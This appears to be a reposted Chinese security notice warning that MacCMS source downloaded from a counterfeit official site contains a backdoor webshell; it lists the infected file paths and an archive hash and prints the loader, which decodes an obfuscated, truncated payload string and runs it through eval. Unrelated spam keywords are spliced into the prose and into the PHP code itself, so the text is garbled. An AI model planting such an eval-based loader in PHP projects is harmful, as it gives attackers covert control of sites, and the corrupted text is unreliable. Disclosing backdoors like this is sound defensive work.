導(dǎo)讀:搭建網(wǎng)站搭建網(wǎng)站蘋果CMS/MacCMS 蘋果CMS是國內(nèi)優(yōu)秀的開源PHP建站系統(tǒng)，擅長電影程序影視系統(tǒng)這一塊，在主流建站系統(tǒng)中特色鮮明，以靈活、小巧、兼容性好、負(fù)載強(qiáng)等優(yōu)點(diǎn)而建站的技術(shù)技術(shù)支持網(wǎng)站。

蘋果CMS/MacCMS

蘋果CMS是國內(nèi)優(yōu)秀的開源PHP建站系統(tǒng)，擅長電影程序影視系統(tǒng)這一塊dede,模板，在主流建站系統(tǒng)中特色鮮明，以靈活、小巧、兼容性好、負(fù)載強(qiáng)等優(yōu)點(diǎn)而深受織夢模板網(wǎng)站許多站長的喜愛。

MacCMS后門Webshell

某天始，MacCMS官網(wǎng)因為某些原因停擺。同時在百度搜索蘋果CMS或MacCMS出現(xiàn)的排名第一均為一個：www.maccmsv10.com的網(wǎng)址，而真正的官網(wǎng)地址是www.maccms.com。前者使用了一個和maccms官網(wǎng)一模一樣的靜態(tài)首頁提供程序下載。最近幾天陸續(xù)有人發(fā)現(xiàn)了從這個網(wǎng)站下載的蘋果CMS程序存在后門webshell。

體驗盒子直接從該第三方站點(diǎn)下載了源碼，至今10月14日依然存在后門，所以基本可確信是故意搭建的假冒官網(wǎng)。

后門文件路徑

?maccms10/extend/upyun/src/Upyun/Api/Format.php

?maccms10/extend/Qcloud/Sms/Sms.php

MD5 (maccms10.zip) =?099e02dfa9d283e2891bce5bf9691643

最后修改日期都是：2019/6/12

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting(E_ERR織夢后臺模板OR); @ini_set(‘display_errors’,‘Off’); @ini_set(‘max_execution_time’,20000); @ini_set(‘memory_limit’,‘256M’); header(“content-Type: text/html; charset=utf-8”); $password?=?“0d41c75e2ab34a3740834cdd7e066d90”; function?s(){ $str?=?“66756r6374696s6r207374…………”;?//大馬 $str?=?str_rot13($str); m($str); } function?m($str){ global?$password; $jj?=?”; eval($jj.pack(‘H*’,$str).$jj); } s(); ?>

MacCMS后門Webshell

很坦誠的孩子，一目了然！！！

? maccms10/extend/Qcloud/Sms/Sms.php

登錄后主界面

? maccms10/extend/Qcloud/Sms/Sms.php

有些資歷的老黑可能一眼就看出來了，這是一個習(xí)科大馬改進(jìn)版。

關(guān)鍵詞標(biāo)簽: 第三方 蘋果 后門